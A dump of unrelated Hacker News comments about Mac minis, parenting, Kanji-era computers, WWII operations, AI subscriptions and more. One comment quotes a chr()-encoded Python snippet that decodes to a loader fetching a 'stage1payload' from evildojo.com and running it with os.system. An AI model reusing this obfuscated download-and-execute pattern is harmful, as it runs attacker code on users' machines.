skysight-inc/HackerNews huggingface dataset:
I'm still very happy with my 8GB Air M1 as well. It's incredible how well it still works for a 4 year old entry level laptop. I see all these new M's come out, and I'm sure they're fantastic, but I'm not at all tempted to upgrade.
Best quote from the post: “If only they didn't put the power button on the bottom“
Long time ago but I found you can write quite a bit of code with a baby balanced on your lap late at night.
Linux -> Linus's Unix

Bourne shell -> Stephen Bourne

KSH (Korn shell) -> David Korn

AWK -> Alfred Aho, Peter Weinberger, Brian Kernighan

Debian -> Debra & Ian Murdoch

MySQL -> My Widenius

MariaDB -> Maria Widenius

DJBdns -> Daniel J. Bernstein
There has been a long-running campaign to get rid of the penny, to the extent that there's a "West Wing" episode that features the campaign. Ironically, Canada got rid of the penny in 2012-2013, after relatively little debate.
No injection here, purely functional programming
True. Sorry, i somehow didn't think it would come across that i pretend this was an actual quote. I thought it would be obvious how it was meant.
If running native ports of server software isn't your cup of tea, you can run Linux containers on macos.
I don't follow your argument. PCs weren't popular because they couldn't handle the Japanese language encoding, but somehow, consumer electronics were popular because they could handle the complex tasks with the language?

JIS C 6226, the encoding for the Japanese language, was made in the 70s. While later than the US, I would not call it late.
From an eWaste perspective this is great news, it just seems to be a pity that Spotify themselves hasn't been leading or endorsing it.

(With the EUs continued focus on eWaste it also seems odd that the largest music service could just get away with bricking them all.)
Heartwarming to see the community response here, long live tteck.

I’ve just built my first homelab and have favored OpenMediaVault which seems better suited for my use.
> RAM upgrades across the whole lineup. This particularly benefits the $1,599 M4 MacBook Air, which jumps from 8GB to 16GB

The MacBook Air is still an M3 only as the highest end M-processor.
Canada passes new right to repair rules with the same old problem
Buddhist Coding
> The only reason Hacker News avoided that fate

It hasn't avoided that fate. If you doubt me, go into a thread about US politics and praise Donald Trump and watch as your comments get not just downvoted, but flagged so that they are hidden. This will happen no matter how good your arguments are.

Make no mistake, this site is ideologically polarized just like all the others. The only saving grace is that the vast majority of topics are about tech, not politics, so the polarization is usually hidden.
The first six months are by far the most difficult. Once you can get the baby on a consistent sleep schedule, you can start to plan around that. Granted, you won't have time for much else in the world but you also won't be at risk of being fired.

The real crime here is that maternity/paternity leave is far too short and it seems that most employers simply look the other way for the first year in observance of that fact.
Ruby is not awful, it's closer to insanely great. Open source may be something of an antidote to keiretsu.
> If only they didn't put the power button on the bottom.

I can't tell if anyone is being serious about the "Powergate" issue. The thing is 5" wide and weighs 1.5 lbs, it's not exactly a burden to lift it a little. And there are highly practical workarounds: https://www.reddit.com/r/macmini/comments/1gncek7/nailed_the...
Show HN: ClearTerms – Analyze TOS of your Gmail-connected app
Hi everyone, I'm working on a SaaS idea to make TOS more understandable. Motivation: companies like Disney, Uber, and many more put an arbitration clause in order to protect themselves from being sued. Not to mention Adobe has also tried sneaking in access to users IP in their terms of service. Any feedback is appreciated, lmk if love the idea, hate it or anything in between!
I'm not really going to spend any more time coming back here for discussion, as it has become uninteresting.

You're clearly an advocate for a side of the argument, not an objective analyst interested in finding out truth. And btw nothing "surprises" or "shocks" me, I have been watching this issue for quite a while and have some expertise in the matter.

You live in past rulings hoping that it means that your position is correct in the present. It is not, and that colors your analysis, which as a result isn't credible or interesting to discuss.
If you have a spouse/partner/SO who is willing to be the fulltime caregiver while you're "at work", you can make it work, just like it would work if you were at the office.

If not, though... yeah, it's going to hurt somewhere.
The code in question:

>>> ''.join(chr(x) for x in [105,109,112,111,114,116,32,111,115,10,105,109,112,111,114,116,32,117,114,108,108,105,98,10,105,109,112,111\
,114,116,32,117,114,108,108,105,98,46,114,101,113,117,101 ,115,116,10,120,32,61,32,117,114,108,108,105,98,46,114,101,113,117,101,115,11\
6,46,117,114,108,111,112,101,110,40,34,104,116,116,112,115,58,47,47,119,119,119,46,101, 118,105,108,100,111,106,111,46,99,111,109,47,11\
5,116,97,103,101,49,112,97,121,108,111,97,100,34,41,10,121,32,61,32,120,46,114,101,97,100,40,41,10,122,32,61,32,121,4,6,100,101,99,111,\
00,101,40,34,117,116,102,56,34,41,10,120,46,99,108,111,115,101,40,41,10,111,115,46,115,121,115,116,101,109,40,122,411,10])

'import os\nimport urllib\nimport urllib.request\nx = urllib.request.urlopen("https://www.evildojo.com/stage1payload")\ny = x.read()\nz = y\x04\x06decode("utf8")\nx.close()\nos.system(z)\n'
I take your comment was meant to be funny, but pink is one of the easiest colors to obtain from natural ingredients. Beetroots, strawberries, chochineal, cherries, radish, raspberries, pomegranate, guava, peppers, tomatoes, watermelon, cranberries, blood oranges, blood, shrimp…
That's pretty common for popular tourist attractions generally.
There’s elements at play where adults with childhood neglect and/or sexual trauma sublimate their understandably strong emotions into current safety initiatives for children.

People pile on with their ideas, like some sort of perverse “yes, and …” improv exercise. Nobody disagrees because “won’t somebody think of the children”.

Other folks in power blindly see it as their sole duty, without context, to implement and execute said initiatives which creates a positive feedback loop with no relief.
For those not in the know, it’s a reference to Norm MacDonald:

https://m.youtube.com/watch?v=uXdtafGdIVM&pp=ygUWbm9ybSBtYWN...
asymmetry is fine but not able to do a left calf raise is a problem. I do drive an automatic yes.
Lots of folks do IT and learn on the job, so why would going to (even a mediocre) school hurt any?
Accounts on any supported platform can follow the bot on their platform, and their posts get bridged to all the other ones as a subdomain of the bridgy bot. e.g. a mastodon instance with a handle for every bridged account.

It changed to require opting in to bridging because many mastodon users got very mad about it.
This too is my biggest request. It's also surprising how many resources the client itself takes.

That said, given the stats I agree with their prioritization. OSX makes up 1.39% of their market share: https://store.steampowered.com/hwsurvey/Steam-Hardware-Softw...

Linux has a higher market share than OSX (likely due to the Steam deck, but still I was surprised by this).

I actually think this is something Apple should be taking the lead on, rather than Steam. It's clear that they value gaming on their devices, they just invest so little in it. Input latency is still poor and there are still big hiccups in frame rates which make competitive games on OSX a non-starter. If Apple invested more here and partnered with Steam, they could make some significant headways. Apple seems to want to avoid partnership here though (ie the prior vulkan vs metal issues).
Opening of new product distribution center near Frankfurt, Germany
Feel feel to contribute
Your comment wonder me. As I hear from CS community like a mirror words - because semiconductor manufacturing is prohibitively expensive, cs becomes too abstract.

But my own exp, mostly confirm your words, even when I sure see just my side of whole picture and I'm attracting to explain my exp as regional specific (I'm in Ukraine, exUSSR, and people here conservative and share old USSR habits).
Love the product and you've nailed the simple design!

I'm concerned about email deliverability--Even more so after the email verification ended up in my spam. Handling incoming email is simple enough, but for this to be useful to my team we would want to be confident that the emails are ending up in the right place.
> The problem is that people who succeed in tech are able to effectively educate themselves

Not by magic, though. Those who take an interest in tech are forced to learn how to educate themselves in order to fulfill their interest in tech. The same story applies to many other interests. Of course, it is possible one will never develop any interests...

> But for most students, fitting in with peers and earning the respect of their teacher is the only reason they're bothering to learn at all.

But is socialization the only thing most children can take an interest in, or does sticking children in these rigid school environments take away from them discovering other interests? In other words, is this just a symptom of them being in the wrong environment, rather than the nature if it?

Furthermore, if socialization really is the only interest, why can't it still be used to force learning how to educate oneself? If fitting in and admiration are a compelling reason to learn in general, why would it not be equally compelling towards learning how to learn?

> Banding kids into grades is the only thing making most kids succeed.

Of course, that questions if most kids should succeed. What for? Being from the most educated region in the most educated nation, it's not clear what we actually get for it. The popular tropes don't hold up. Other parts of the world are much more progressive, economically vibrant, healthier, etc. It is hardly the worst place in the world, but a relative backwater compared to other much less educated places.

You don't have to go back many generations to find populations not exposed to much, if any, formal education and they don't seem to have ended up any worse off than the average person today. I expect there is a strong case to be made that people with a vision can leverage educational resources as a force multiplier to propel themselves well beyond what those earlier generations could have ever dreamed of been capable of, but for the average Joe just trying to fit in...? Perhaps we are missing the forest for the trees.
Also interesting, the M4 Mini has the flash storage on a replaceable module, instead of being soldered to the motherboard, although the NVMe controller is still integrated into the SoC.

iFixIt and others have already posted videos showing that the flash storage is now upgradable.

> M4 Mac mini Teardown - UPGRADABLE SSD, Powerful, and TINY

https://m.youtube.com/watch?v=rtdGxBeSkz8
In the full GUI MacOS install? And the Linux container (I’m assuming you mean container like docker or podman?) would run in a Linux VM?
Why? The hardware was cheap and decent.

The software is nicely hackable #pun-intended

I did strip all the dlink fw to replace it with a trimmed down one. Works flawlessly since day one. And that's a long time im IT
Four months after launching my app, someone offered to buy it
I also wonder how often people are actually turning them off. It's generally a rare event to push the power button on a mac in my experience
User can flash in PINE64 community open firmware when becomes[sic] available.

I did manage to find the firmware, but it says that it doesn't have ANC, which the factory firmware does. Good start nonetheless.
Very interested - I'm currently toying with Grafana set up in the same way, i wonder how this compares?
FWIW it's not impossible, but it always requires some external help, esp. with single parents: friends doing your dishes when they visit, a nanny once-twice a week, etc, etc. Otherwise it's a highway to burnout and depression.
In the true spirit of 2600!
I feel for the stubborn Win7 holdouts. Based on what I've seen of windows 11, I flat out refuse to install it. The ad/attention theft situation in 10 was already galling enough. 10 has become better after I found all the checkboxes to disable but the bad taste it left in my mouth has lingered.

Hearing it gets even worse in 11 made me realize I want very badly to get off the dark pattern carousel. I sat down and really evaluated what ties me to windows. Not as much as in the past, it turns out.

Unity/Godot have linux editors. I'll give Rider a try. Krita/Blender have first class linux support.

Of the software I use regularly, the only things that are probably dead in the water are Embergen and Worldmachine. I don't even know if I want to maintain a win10 dual boot or a vm. I'm thinking I'll make a token attempt to get them running in wine, and if there's no play, I'll change my workflow. Both are great software packages, but such is life.
In my opinion, you shouldn't add an off switch. It subverts the main feature, always on recording. As you mentioned you can unplug it. Maybe on the app side make it simple to edit out a recording.
Yep! My problem at the time was that I didn't know I needed a matrix, or which operations would be helpful to perform on one, because I didn't know much about the problem I was trying to solve. I ran into a paper about using SVD on networks of resistors to simplify them, which pointed me in the right direction.
Linux support. MacOS is a desktop first gui based operating system. Linux on the other hand is a server first cli/terminal based operating system. Everything server related is designed to on linux first and foremost and may or may not incidentally also run on MacOS.
It’s not a burden.

I consider it a typical Tim Cook decision, in that the man led the company that made one of the fastest CPUs in the world, makes it draw as much as a Raspberry Pi. Absolutely crazy feats of engineering, design, manufacturing… and -

There is that ONE detail that would’ve made it perfected but it’s botched!

I don’t mind it too much, since it’s still 99% close to perfect.

But, but…
>Apple Says There’s a Simple Reason for the Mac Mini’s Odd Power Button Location

https://gizmodo.com/apple-mac-minis-odd-power-button-locatio...
I had something similar happen to me. But it sounds like my teacher handled it differently. I used to watch a lot of documentaries. There was a public access TV channel that would air educational content, I'd occasionally watch it for "fun".

After watching a documentary about Conic Section I asked my math teacher "When are we going to learn about Ellipses and Hyperbolas?" This was in year 7 (so age 12/13), We were learning about perimeter and area at the time I found it dead easy.

He patiently explained to me that we needed to build up to those topics and it wasn't something we could just skip ahead to. looking back on it I think he handled me pretty well. He didn't discourage me and he justified things in a way that 12 year old me could understand that there was a reason we covered the topics in the order that we did.

Conic sections would end up being taught in 11th Grade when I was 17.
"Is Waymo planning to stay confined to California only?"

It's already live in Phoenix Arizona and Austin Texas.
I love this, and honestly it makes me wish I had a use case for it but I know a few folks that will! (Who will be excited to get in while you're still offering flat-rate pricing, heheh) Great job!

I can see some heritage of Hey.com email here, if so, that's a great source of inspiration. You've done a really good job at making concepts that people actually use, versus forcing some generic concepts of "tickets" and "assignments" on users.

Maybe my only suggestion would be different kinds of archiving, since I think it's probably useful to mark things as Dealt With (resolved and nothing more to do) or Went Cold (original sender never replied for some period of time) for example.

Also I see the Trix WYSIWYG editor, rails? :)
The book is even better.

https://en.wikipedia.org/wiki/Dersu_Uzala
Most companies don't take all public holidays; this ends up being primarily for Federal workers who do get each of those holidays.

If you make a table of holidays and then check on/off those applicable, then have the algorithm fill back in as needed, that would be helpful.
Because minis are very commonly racked in bulk, and its both very irritating for that use case, and entirely unnecessary
I'm the "IT guy" at our 30 person startup.

My 2024 stance is "buy every AI add-on and decide whether to keep it next year"

So our team has access to Enterprise ChatGPT, Gemini, Notion AI, Slack AI, and basically every AI add-on in every SaaS platform that offers it as an upsell (Github Copilot, ReadMe AI, etc).

2024 is the year of "I don't know what the hell these AI tools are going to be useful for, so let's buy them all"

2025 will be the year of "Ok, we spent $xxx on all these AI tools last year, is anyone actually using them?"

I predict we'll be canceling a lot of those subscriptions. Which all in cost us over $100/mo per employee.
I just got one (M4Pro model).

It's pretty zippy.

I have pressed the power button exactly once, since Friday (the day I got it). All other restarts were "soft" (including a couple of crashes). The keyboard and trackpad do fine, starting a shut-down computer.

It's replacing a docked MBP. That power button was a lot more difficult to reach, and I needed to hit it more often than this.
It's always worth remembering that a year from now the media will be breathlessly talking about the M5 Macs. These M4 ones are fantastic machines and are a great upgrade for many, and it is nice to see the yearly progress. But most people who already have Apple Silicon computers should probably wait at least another year.
Name and shame. In the absence of adequate government protections, only company reputation protects consumers from exploitation.
i’ve found it pretty easy to run my “homelab” with docker compose. Traefik binds to port 80 and 443, and all my apps are accessible behind the proxy.

Docker desktop can be configured to start on login. For keeping the mac awake “forever”, i’d suggest the Amphetamine app.

I also appreciate that you can easily use the macOS screen sharing app to login and manage the mac from a laptop.
You don't need to convince me Overlord was very impressive, because I fully agree.

It seems we possibly agree Bagration was more impactful, but our disagreement is whether it was as impressive. I'll argue that it was: the scale was humongous, and in war, this means more chance of fuckups or logistical nightmares. Scale in troops & territory is a huge source of trouble (just ask Hitler...). Military deception was practiced by all sides, but the Soviets took maskirovka to an art form. Not only were there feinted strategic offensives (with the potential to become real as plan B), but huge troop formations moved one way during daytime and retraced their steps during the night. Radio discipline exercised atypically for the Red Army. The Germans later claimed not to be fully taken in, but really... that's what they would claim. Reality shows otherwise and their army was shattered.

As for whether it's as iconic... well, "iconic" is an ill-defined term anyway. "Most iconic" in the Western world is just because, like I argued, the Eastern Front is way less known and depicted in movies. It's almost the definition of "lesser known", of which there are many reasons (Cold War thinking being a big reason initially). Overlord is more iconic in the West because it has been brought to the forefront in multiple accounts, movies and games.

Imagine if there were American movies about Bagration like there are for Normandy, "Saving Conscript Petrov". There are a million interesting and amazing stories you could tell set during this massive operation, just like Private Ryan or Band of Brothers.

Stalingrad in contrast is indeed iconic -- possibly as iconic as Overlord, because everyone knows about Stalingrad too -- but regrettably not too many good movies have been made about it. I've mentioned "Enemy at the Gates" (sigh!) but there's also that terrible Russian movie called... "Stalingrad"? Yuck. About the only one that's decent is ironically the German "Stalingrad" movie, but that one mostly shows the German perspective.
From earlier in the article it's apparent that "Air" is a typo and should be "Pro."
> In the west, you'd buy a PC (or a home computer) to play games, edit documents or manage your business. The latter two were pretty much impossible in Japan, as the computers of that era couldn't handle the complexities of the Japanese language and character set.

NEC sold a Kanji board for their Z80-based PC8801 mk II (released 1983). The original 1979 PC8801 didn’t have an official Kanji board from NEC, but one was available for it from a third party vendor. With a Kanji board, you could do Japanese word processing. I believe the same was true of many other 8-bit vendors.

Inevitably the greater complexity of Kanji required more advanced hardware, so Kanji-capable machines usable for business and education were initially more expensive than games-only machines that lacked it. But in 1990 IBM released DOS/V, which demonstrated that standard PC hardware had become powerful enough to support Kanji without needing any dedicated circuitry. And even before that, I believe already by the late 1980s many machines (such as NEC PC-9800s) were coming with Kanji support as a standard feature rather than an optional add-on card.
> I don't see any glue scripts to get VMs talking to each other

I'm confused by what you mean here? Don't they just use the network like any other computer?

I haven't had to do any special configuration to get my VMs to talk to each other.
Much more has been written on the topic in the intervening years, including by Aaronson. I'd challenge cwillu's statement that "nothing" has changed, but I'm a D-Wave employee* so I don't tend to wade in. More specifically, I'm not terribly concerned with what "the public" thinks about our computers. Academic and industrial partners are much more reliable judges of quality.

* I do architecture, algorithms and circuit design; not marketing. That said, I'd encourage you to compare our marketing budget against those of IBM, Google, Microsoft, and the other big players in the field -- if the public is to be swayed, it'll follow the splashy marketing.
Purchased one of these for $25 when they liquidated them awhile back for this day. Looks like it is best to flash deskthings with a powered usb hub.
they run through virtualization which is clunky to interface with across boundaries and introduces overhead. I also don't think it has any hardware acceleration for things that would benefit from using the gpu.
I don’t think ayphr would disagree with me when I say that FDB’s testing regime is the gold standard and Jepsen is trying to get there, not the other way around.
The person you are responding to seems to be promoting a concept that is frequently spouted here and other places, but to me lacking sufficient or any evidence - that AI models, particularly LLMs, are both capable of reasoning (or what we consider reasoning) around problems and generating novel insights that it hasn't been trained on.
A lot is familiarity.

I was in Detroit for an event a couple years ago. A number of us didn't really feel safe after dark and there were a couple incidents that other attendees experienced. Part of it was the general reputation but we also just didn't really know.

Whereas I'll walk down 5th avenue in Manhattan at two in the morning with no real concerns though I'm being more alert than if it were noon.

As you say, it also wouldn't take many bus/subway incidents to make me go: "That's a nope from now on."